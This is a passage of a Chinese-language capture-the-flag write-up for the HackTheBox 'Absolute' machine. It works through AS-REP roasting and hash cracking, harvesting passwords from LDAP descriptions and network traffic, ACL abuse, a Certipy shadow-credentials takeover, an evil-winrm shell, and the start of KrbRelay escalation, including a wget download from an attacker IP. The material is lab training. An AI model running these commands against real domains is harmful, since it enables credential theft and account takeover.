[-] User n.smith@absolute.htb doesn't have UF_DONT_REQUIRE_PREAUTH set
```

d.klay is vulnerable.

#### 破解密码

使用hashcat和rockyou.txt字典来破解密码

``` bash
hashcat.exe password.txt rockyou.txt

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344386
* Bytes.....: 139921360
* Keyspace..: 14344386

$krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:7babac3563f9d82cdd68fc5f6a8c35bf$6f67d29d9f1811e4fe60990d208c59ecf1850e55cc44ac5d2d31e8db12d663b514a2ab8f186fb70475960feffa9244139f153276a20dcbe4aa8d39739f419e6d19c13d4304c167c3854afa3da678b0594aa746b8f42ad39ef55c20aa501f817ba52722ab2c75b5eaeddf5ef8008bd3e61b2d19b672b7bb1db571b5c8d6cfe3ae357c731fa8c9bea2dad013b5b3439b2b0c4cbaff742d08dcfc1f7217f4c1818face9910b051b19567bdf0a0d68d715750d7cbad67c2c56064d1b8e5c3bdf7604fa408f76fc72012061bd2de8be211d57dddb04f93bf4122cb8d8a3d82be8c18e472184e798ae2477d70dea34:Darkmoonsky248girl

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: $krb5asrep$23$d.klay@absolute.htb@ABSOLUTE.HTB:7bab...0dea34
Time.Started.....: Mon May 29 15:56:06 2023 (1 sec)
Time.Estimated...: Mon May 29 15:56:07 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 18230.5 kH/s (9.04ms) @ Accel:1024 Loops:1 Thr:32 Vec:1
Speed.#3.........:   240.9 kH/s (15.66ms) @ Accel:32 Loops:1 Thr:8 Vec:1
Speed.#*.........: 18471.4 kH/s
Recovered........: 1/1 (100.00%) Digests
Progress.........: 12746752/14344386 (88.86%)
Rejected.........: 0/12746752 (0.00%)
Restore.Point....: 11149312/14344386 (77.73%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Restore.Sub.#3...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: Fake@smile -> 26101959
Candidates.#3....: 26101956 -> 2591928
Hardware.Mon.#1..: Temp: 54c Util: 34% Core: 210MHz Mem:6000MHz Bus:8
Hardware.Mon.#3..: N/A

Started: Mon May 29 15:55:43 2023
Stopped: Mon May 29 15:56:09 2023
```

密码为: Darkmoonsky248girl

#### Kerberos 认证
#### 使用CME验证

使用 crackmapexec 验证失败:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl'
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION
```

STATUS_ACCOUNT_RESTRICTION 通常意味着禁用了NTLM，并且需要使用Kerberos进行身份验证。

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [-] absolute.htb\d.klay: KRB_AP_ERR_SKEW

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# ntpdate -u dc.absolute.htb
2023-05-29 12:14:09.677756 (-0400) +25203.214272 +/- 0.465428 dc.absolute.htb 10.10.11.181 s1 no-leap
CLOCK: time stepped by 25203.214272

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [+] absolute.htb\d.klay:Darkmoonsky248girl
```

#### kinit

配置/etc/krb5.conf文件

``` bash
[libdefaults]
    default_realm = ABSOLUTE.HTB
    kdc_timesync = 1
    ccache_type = 4
    forwardable = true
    proxiable = true
    fcc-mit-ticketflags = true
[realms]
    ABSOLUTE.HTB = {
        kdc = dc.absolute.htb
        admin_server = dc.absolute.htb
        default_domain = absolute.htb
    }
```

有些工具(如crackmapexec)可以单独使用Kerberos。对于其它工具，我需要一个ticket。可以用kinit生成一个:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# kinit d.klay
Password for d.klay@ABSOLUTE.HTB:

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# klist
Ticket cache: FILE:/tmp/krb5cc_0
Default principal: d.klay@ABSOLUTE.HTB

Valid starting       Expires              Service principal
05/29/2023 12:32:30  05/29/2023 16:32:30  krbtgt/ABSOLUTE.HTB@ABSOLUTE.HTB
        renew until 05/29/2023 16:32:30
```

Klist显示这已经在/tmp/krb5cc_1000中创建了一个ticket和其他ticket细节。

如果我的时间和DC的时间之间的时钟偏差太大，将会失败。在VirtualBox中，停止同步时钟。

``` bash
sudo service vboxadd-service stop
```

然后运行sudo ntupdate 10.10.11.181。

#### Auth as svc_smb
#### Bloodhound

有了密码凭证后，可以使用[BloodHound.py](https://github.com/fox-it/BloodHound.py)收集bloodhound数据

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# bloodhound-python -u d.klay -p 'Darkmoonsky248girl' -k -d absolute.htb -dc dc.absolute.htb -ns 10.10.11.181 -c ALL --zip      1 ⨯
INFO: Found AD domain: absolute.htb
INFO: Using TGT from cache
INFO: Found TGT with correct principal in ccache file.
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.absolute.htb
INFO: Found 18 users
INFO: Found 55 groups
INFO: Found 2 gpos
INFO: Found 1 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc.absolute.htb
INFO: Done in 01M 56S
INFO: Compressing output into 20230529130934_bloodhound.zip
```

将zip文件上传到Bloodhound, 然后找到d.klay, 标记为已拿下:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute1.png)

不幸的是，这个用户没有本地管理权限，没有执行权限，也没有出站对象控制权限:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute2.png)

#### SMB

有了creds，可以看看SMB shares:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb dc.absolute.htb -k -u d.klay -p 'Darkmoonsky248girl' --shares
SMB         dc.absolute.htb 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         dc.absolute.htb 445    DC               [+] absolute.htb\d.klay:Darkmoonsky248girl
SMB         dc.absolute.htb 445    DC               [+] Enumerated shares
SMB         dc.absolute.htb 445    DC               Share           Permissions     Remark
SMB         dc.absolute.htb 445    DC               -----           -----------     ------
SMB         dc.absolute.htb 445    DC               ADMIN$                          Remote Admin
SMB         dc.absolute.htb 445    DC               C$                              Default share
SMB         dc.absolute.htb 445    DC               IPC$            READ            Remote IPC
SMB         dc.absolute.htb 445    DC               NETLOGON        READ            Logon server share
SMB         dc.absolute.htb 445    DC               Shared
SMB         dc.absolute.htb 445    DC               SYSVOL          READ            Logon server share
```

使用Impacket的smbclient.py来连接, 可以列出共享，并连接到一个共享，如SYSVOL:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# smbclient.py 'absolute.htb/svc_smb:AbsoluteSMBService123!@dc.absolute.htb' -k -no-pass                                      130 ⨯
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
Type help for list of commands
# shares
ADMIN$
C$
IPC$
NETLOGON
Shared
SYSVOL
# use SYSVOL
# ls
drw-rw-rw-          0  Thu Jun  9 04:16:22 2022 .
drw-rw-rw-          0  Thu Jun  9 04:16:22 2022 ..
drw-rw-rw-          0  Thu Jun  9 04:16:22 2022 absolute.htb
```

然而并没有更多有用的东西

#### CrackMapExec

现在，可以连接到LDAP。使用Crackmapexec拉出用户列表:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec ldap 10.10.11.181 -u d.klay -p 'Darkmoonsky248girl' -k --users                                                 130 ⨯
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.181    389    DC               [+] absolute.htb\d.klay:Darkmoonsky248girl
LDAP        10.10.11.181    389    DC               [*] Total of records returned 20
LDAP        10.10.11.181    389    DC               Administrator                  Built-in account for administering the computer/domain
LDAP        10.10.11.181    389    DC               Guest                          Built-in account for guest access to the computer/domain
LDAP        10.10.11.181    389    DC               krbtgt                         Key Distribution Center Service Account
LDAP        10.10.11.181    389    DC               J.Roberts
LDAP        10.10.11.181    389    DC               M.Chaffrey
LDAP        10.10.11.181    389    DC               D.Klay
LDAP        10.10.11.181    389    DC               s.osvald
LDAP        10.10.11.181    389    DC               j.robinson
LDAP        10.10.11.181    389    DC               n.smith
LDAP        10.10.11.181    389    DC               m.lovegod
LDAP        10.10.11.181    389    DC               l.moore
LDAP        10.10.11.181    389    DC               c.colt
LDAP        10.10.11.181    389    DC               s.johnson
LDAP        10.10.11.181    389    DC               d.lemm
LDAP        10.10.11.181    389    DC               svc_smb                        AbsoluteSMBService123!
LDAP        10.10.11.181    389    DC               svc_audit
LDAP        10.10.11.181    389    DC               winrm_user                     Used to perform simple network tasks
```

它不仅找到了描述字段，而且还提供了描述字段(可能需要滚动到上面才能看到它)。svc_smb用户的描述“AbsoluteSMBService123!”看起来像个密码。

Crackmapexec确认了这一点:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb 10.10.11.181 -u svc_smb -p 'AbsoluteSMBService123!' -k
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [+] absolute.htb\svc_smb:AbsoluteSMBService123!
```

#### 不使用CME
#### ldapsearch Errors

如果需要更详细地了解LDAP，使用ldapsearch。这里可能会出现一些错误。如果尝试使用creds来运行，它将返回AcceptSecurityContext:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# ldapsearch -H ldap://dc.absolute.htb -x -D d.klay@absolute.htb -w Darkmoonsky248girl -s base
ldap_bind: Invalid credentials (49)
        additional info: 80090308: LdapErr: DSID-0C090439, comment: AcceptSecurityContext error, data 52f, v4563
```

这是因为该帐户受到限制(不是NTLM，只能用Kerberos)。

#### GET DATA

使用-Y GSSAPI指定Kerberos认证。最好使用apt安装libsasl2-modules-gssapi-mit包，以防止再次出现错误。

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# ldapsearch -H ldap://dc.absolute.htb -Y GSSAPI -b "dc=absolute,dc=htb"                                                       49 ⨯
SASL/GSSAPI authentication started
SASL username: d.klay@ABSOLUTE.HTB
SASL SSF: 256
SASL data security layer installed.
# extended LDIF
#
# LDAPv3
# base <dc=absolute,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# absolute.htb
...[snip]...
# svc_smb, Users, absolute.htb
dn: CN=svc_smb,CN=Users,DC=absolute,DC=htb
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: svc_smb
description: AbsoluteSMBService123!
distinguishedName: CN=svc_smb,CN=Users,DC=absolute,DC=htb
instanceType: 4
whenCreated: 20220609082551.0Z
whenChanged: 20230523003558.0Z
...[snip]...
```

密码可在svc_smb用户的description中找到。

#### Auth as m.lovegod
#### Enumeration
#### Bloodhound

标记svc_smb为owned:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute3.png)

但是它的权限和d.klay一样。

#### SMB

作为svc_smb用户，有几个共享的读权限:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb dc.absolute.htb -k -u svc_smb -p 'AbsoluteSMBService123!' --shares
SMB         dc.absolute.htb 445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         dc.absolute.htb 445    DC               [+] absolute.htb\svc_smb:AbsoluteSMBService123!
SMB         dc.absolute.htb 445    DC               [+] Enumerated shares
SMB         dc.absolute.htb 445    DC               Share           Permissions     Remark
SMB         dc.absolute.htb 445    DC               -----           -----------     ------
SMB         dc.absolute.htb 445    DC               ADMIN$                          Remote Admin
SMB         dc.absolute.htb 445    DC               C$                              Default share
SMB         dc.absolute.htb 445    DC               IPC$            READ            Remote IPC
SMB         dc.absolute.htb 445    DC               NETLOGON        READ            Logon server share
SMB         dc.absolute.htb 445    DC               Shared          READ
SMB         dc.absolute.htb 445    DC               SYSVOL          READ            Logon server share
```

现在可以访问Shared了。使用smbclient.py:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# smbclient.py 'absolute.htb/svc_smb:AbsoluteSMBService123!@dc.absolute.htb' -k -no-pass
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[-] CCache file is not found. Skipping...
Type help for list of commands
# use Shared
# ls
drw-rw-rw-          0  Thu Sep  1 13:02:23 2022 .
drw-rw-rw-          0  Thu Sep  1 13:02:23 2022 ..
-rw-rw-rw-         72  Thu Sep  1 13:02:23 2022 compiler.sh
-rw-rw-rw-      67584  Thu Sep  1 13:02:23 2022 test.exe
```

把两个文件都下载下来

``` bash
# get compiler.sh
# get test.exe
```

sh只有一行，编译一个Nim程序。test.exe是Windows 64位的exe:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# cat compiler.sh
#!/bin/bash

nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# file test.exe
test.exe: PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows, 11 sections
```

#### 动态分析

到Windows机器上，尝试一下。什么也不会发生。与Wireshark一起运行，并注意到有一堆DNS查询:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute4.png)

更新hosts文件，使其包含_ldap._tcp.dc.absolute. 然后重新运行程序。在执行25-30秒后，会尝试在Absolute上正向连接到LDAP:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute5.png)

沿着这条数据流，看起来那里可能有密码凭证信息:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute6.png)

得到一样的AcceptSecurityContext错误，得到上面使用NTLM时。深入研究Wireshark中的bindRequest(1)包，存在mlovegod的密码:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute7.png)

#### 验证密码

确认密码对m.lovegod用户有效

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec smb 10.10.11.181 -u m.lovegod -p 'AbsoluteLDAP2022!' -k
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.181    445    DC               [+] absolute.htb\m.lovegod:AbsoluteLDAP2022!
```

#### Shell as winrm_user
#### Bloodhound

m.lovegod拥有Network Audit组，该组在winrm_user用户上有GenericWrite权限。

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute8.png)

m.lovegod是三个groups的成员，但不是Network Audit:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute9.png)

winrm_user是远程管理用户的成员，这意味着他们可以远程连接到WinRM并获得一个shell:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute10.png)

#### 攻击策略

为了获得winrm_user的权限，首先需要在Network Audit组上赋予m.lovegod写权限。然后就可以把m.lovegod加到组里了。最后，使用这些权限为winrm_user帐户创建一个shadow credential

在Windows上执行前两步要容易得多(Bloodhound会展示要运行的命令)。本文会同时展示Windows和Linux环境下的利用方法

"shadow credential"技术涉及操纵用户的msDS-KeyCredentialLink属性，该属性将密码凭证绑定到他们的帐户，然后就可以使用该密码凭证进行身份验证。这种技术比更改用户密码的破坏性要小得多。详情参考[Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab)


#### 将m.lovegod添加到Network Audit组
#### windows

Bloodhound提供了利用方法:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute11.png)

为了使这种攻击有效，必须将Absolute的IP配置为VPN接口的DNS服务器的ip地址:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute12.png)

然后在powershell中导入[PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1)，然后创建一个密码凭证

``` bash
PS > $pass = ConvertTo-SecureString 'AbsoluteLDAP2022!' -AsPlainText -Force
PS > $cred = New-Object System.Management.Automation.PSCredential('absolute\m.lovegod', $pass)
```

如果我尝试像上面那样运行命令，它会说-PrincipleIdentity选项是必需的。查看[Add-DomainObjectAcl](https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainObjectAcl/)文档，添加-DomainController选项。

``` bash
PS > Add-DomainObjectAcl -Credential $cred -TargetIdentity "Network Audit" -Rights All -PrincipalIdentity m.lovegod -DomainController dc.absolute.htb
```

现在要将m.lovegod添加到组中，使用另一个PowerView commandlet Add-DomainGroupMember:

``` bash
PS > Add-DomainGroupMember -Credential $cred -Identity "Network Audit" -member m.lovegod -Domain "absolute.htb"
```

成功了

``` bash
PS > Get-DomainGroupMember -Credential $cred -Identity "Network Audit" -Domain "absolute.htb" -DomainController "dc.absolute.htb" | fl MemberName

MemberName : svc_audit
MemberName : m.lovegod
```

靶场机器上有一个脚本定期恢复这些成员关系，所以如果一个失败，玩家需要从头开始重新操作启用访问权限。

#### linux

首先获取m.lovegod用户的TGT

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# getTGT.py absolute.htb/m.lovegod:AbsoluteLDAP2022! -dc-ip dc.absolute.htb
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in m.lovegod.ccache

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# export KRB5CCNAME=m.lovegod.ccache
```

要将用户添加到NETWORK AUDIT组中，可以首先将用户m.lovegod设置为组的所有者。为了修改一个组的所有者，可以使用[[owneredit.py] New example script to change an object's owner #1323](https://github.com/fortra/impacket/pull/1323/files)，这是Impacket套件的一个拉取请求里的脚本。

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# python3 owneredit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -new-owner m.lovegod -target 'Network Audit' -action write
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Current owner information below
[*] - SID: S-1-5-21-4078382237-1492182817-2568127209-1109
[*] - sAMAccountName: m.lovegod
[*] - distinguishedName: CN=m.lovegod,CN=Users,DC=absolute,DC=htb
[*] OwnerSid modified successfully!
```

现在已经成功修改了组的所有者。现在可以使用[[dacledit] New example script for DACL manipulation #1291](https://github.com/fortra/impacket/pull/1291)，Impacket另一个拉取请求里的脚本，它将Network Audit组的完全控制权交给用户m.lovegod。

在[[dacledit] New example script for DACL manipulation #1291](https://github.com/fortra/impacket/pull/1291)中，有一个整洁的Impacket脚本尚未合并。它提供了一个名为dacledit.py的示例脚本，该脚本执行与Add-DomainObject Acl相同的操作。

克隆这个[impacket/tree/dacledit](https://github.com/ShutdownRepo/impacket/tree/dacledit)，签出dacledit分支，然后安装:

``` bash
git clone https://github.com/ShutdownRepo/impacket.git impacket-dacl
cd impacket-dacl
python -m pip install .
```

现在就可以从任何地方运行dacledit.py脚本了

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# dacledit.py -k -no-pass absolute.htb/m.lovegod -dc-ip dc.absolute.htb -principal m.lovegod -target "Network Audit" -action write -rights FullControl
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] DACL backed up to dacledit-20230530-125613.bak
[*] DACL modified successfully!
```

上述脚本给m.lovegod添加完全控制权限。

然后将用户添加到Network Audit组中，使用net(apt install samba)。最可靠的使用方法是使用--use-kerberos=required，不过由于某些原因，每次运行时都要求输入密码。但仍然有用，因为m.lovegod不在group中

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# rm /tmp/krb5cc_0

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# kinit m.lovegod
Password for m.lovegod@ABSOLUTE.HTB:

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# net rpc group addmem "Network Audit" m.lovegod -U 'm.lovegod' --use-kerberos=required -S dc.absolute.htb
Password for [WORKGROUP\m.lovegod]:

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# net rpc group members "Network Audit" -U 'm.lovegod' --use-kerberos=required -S dc.absolute.htb
Password for [WORKGROUP\m.lovegod]:
absolute\m.lovegod
absolute\svc_audit
```

或者，使用-k选项，会使用之前kinit生成的ticket。必须经常删除该票据并重新初始化它，否则会报错:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# net rpc group addmem "Network Audit" m.lovegod -U 'm.lovegod' -k -S dc.absolute.htb
WARNING: The option -k|--kerberos is deprecated!

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# net rpc group members "Network Audit" -U 'm.lovegod' -k -S dc.absolute.htb
WARNING: The option -k|--kerberos is deprecated!
absolute\m.lovegod
absolute\svc_audit
```

#### Shadow Credential

在Outdated机器中，展示了[如何使用Whisker](https://0xdf.gitlab.io/2022/12/10/htb-outdated.html#get-sflowers-ntlm)和[使用PyWhisker远程操作](https://0xdf.gitlab.io/2022/12/10/htb-outdated.html#beyond-root---skipped-steps)。但是Certipy将这几个步骤打包成一个命令，所以更方便。使用pip install certipy-ad安装。

certipy find将返回关于域以及Active Directory证书服务(ADCS)如何配置的各种信息。

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# certipy find -username m.lovegod@absolute.htb -k -target dc.absolute.htb
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'absolute-DC-CA' via CSRA
[!] Got error while trying to get CA configuration for 'absolute-DC-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'absolute-DC-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'absolute-DC-CA'
[*] Saved BloodHound data to '20230530133316_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20230530133316_Certipy.txt'
[*] Saved JSON output to '20230530133316_Certipy.json'
```

系统上确认安装了ADCS。因为已经安装了ADCS，也有了GenericWrite权限，所以现在可以覆写winrm_user用户的msDS-KeyCredentialLink属性，来进行shadow credential攻击。

m.lovegod用户添加到Network Audit组后需要重新生成TGT

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# getTGT.py absolute.htb/m.lovegod:AbsoluteLDAP2022! -dc-ip dc.absolute.htb
Impacket v0.9.25.dev1 - Copyright 2021 SecureAuth Corporation

[*] Saving ticket in m.lovegod.ccache

┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# export KRB5CCNAME=m.lovegod.ccache
```

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# certipy shadow auto -k -no-pass -u absolute.htb/m.lovegod@dc.absolute.htb -dc-ip 10.10.11.181 -target dc.absolute.htb -account winrm_user
Certipy v4.4.0 - by Oliver Lyak (ly4k)

[*] Targeting user 'winrm_user'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '56abaff7-ff87-070d-beac-48aa003f33a9'
[*] Adding Key Credential with device ID '56abaff7-ff87-070d-beac-48aa003f33a9' to the Key Credentials for 'winrm_user'
[*] Successfully added Key Credential with device ID '56abaff7-ff87-070d-beac-48aa003f33a9' to the Key Credentials for 'winrm_user'
[*] Authenticating as 'winrm_user' with the certificate
[*] Using principal: winrm_user@absolute.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'winrm_user.ccache'
[*] Trying to retrieve NT hash for 'winrm_user'
[*] Restoring the old Key Credentials for 'winrm_user'
[*] Successfully restored the old Key Credentials for 'winrm_user'
[*] NT hash for 'winrm_user': 8738c7413a5da3bc1d083efc0ab06cb2
```

#### shell

现在将这个ticket导入KRB5CCNAME环境变量，然后使用evil-winrm，最终拿下user权限的shell。

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# KRB5CCNAME=./winrm_user.ccache evil-winrm -i dc.absolute.htb -r absolute.htb
zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.0: no such file or directory

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\winrm_user\Documents> whoami
absolute\winrm_user
*Evil-WinRM* PS C:\Users\winrm_user\Documents> cat C:\Users\winrm_user\Desktop\user.txt
8c2b53e8d19301ef6f6a211cbb2791af
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute13.png)

#### Shell as root
#### KrbRelay背景知识

在过去几年中，KrbRelay是一种非常流行的基于kerberos的攻击手法。该技术最初是在2021年10月的Google Project Zero帖子中讨论的[Using Kerberos for Authentication Relay Attacks](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)，然后Cube0x0在2022年2月发布了一个[公开的KrbRelay POC](https://github.com/cube0x0/KrbRelay)。2022年4月，[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)将KrbRelay中最常见的攻击手法全都自动化了

其思想是通过服务器将身份验证请求中继回DC服务器，以便对攻击者进行恶意身份验证。

在这个漏洞被称为"不会被修复"整整一年之后，微软改变了立场，并在2022年10月打了补丁。

 - [This MS patch also effects krbrelay. It looks like we had our fun with rpc->ldap](https://twitter.com/cube0x0/status/1583568590393204736?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1583568590393204736%7Ctwgr%5Ef5e73cb9e063d7389d041cca04dd3113113f71a4%7Ctwcon%5Es1_&ref_url=https%3A%2F%2F0xdf.gitlab.io%2F2023%2F05%2F27%2Fhtb-absolute.html)

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute14.png)

要想攻击成功，目标必须:

 - 没有2022年10月的补丁
 - LDAP签名必须禁用(这是Windows的默认设置)

理论上，crackmapexec能够检查LDAP签名，但是在实际操作的时候，报了错误，导致在这里失败:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/absolute]
└─# crackmapexec ldap 10.10.11.181 -u m.lovegod -p 'AbsoluteLDAP2022!' -M ldap-checker -k
SMB         10.10.11.181    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.181    389    DC               [+] absolute.htb\m.lovegod:AbsoluteLDAP2022!
LDAP-CHE... 10.10.11.181    389    DC               [-] [!!!] invalid credentials - aborting to prevent unnecessary authentication


[*] Shutting down, please wait..
```

没有很好的方法来检查是否启用了LDAP签名。考虑到禁用是Windows的默认设置，并且该box是在2021年9月发布的(在补丁发布之前)。

#### KrbRelay
#### 编译

把[KrbRelay](https://github.com/cube0x0/KrbRelay)克隆到本地Windows主机上，并在Visual Studio中打开.sln文件。去Built > Batch Build以获得如下对话框:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute15.png)

为Build选择上图两个版本配置，并单击Build。成功生成两个二进制文件.exe:

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/Absolute16.png)

把这两个二进制文件复制回kali Linux攻击机，并将它们上传到Absolute。

``` bash
*Evil-WinRM* PS C:\programdata> upload KrbRelay.exe KrbRelay1.exe

Info: Uploading /root/hackthebox/machine/absolute/KrbRelay.exe to C:\programdata\KrbRelay1.exe

Data: 2158592 bytes of 2158592 bytes copied

Info: Upload successful!
*Evil-WinRM* PS C:\programdata> wget 10.10.16.54/CheckPort.exe -outfile CheckPort.exe
```

#### Find Port

CheckPort.exe将识别恶意服务器将运行的端口:

``` bash
*Evil-WinRM* PS C:\programdata> .\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 10
```

识别到端口10

#### 识别CLSID

与许多potato攻击的工作原理相似，需要一个具有正确权限的有效RPC服务的CLSID。一些工具可以在目标主机上发现这些，但是从默认工具中进行选择通常更容易、更快捷。

此主机运行的是Windows 10.0.17763.3406:

``` bash
*Evil-WinRM* PS C:\programdata> cmd /c ver

Microsoft Windows [Version 10.0.17763.3406]
```

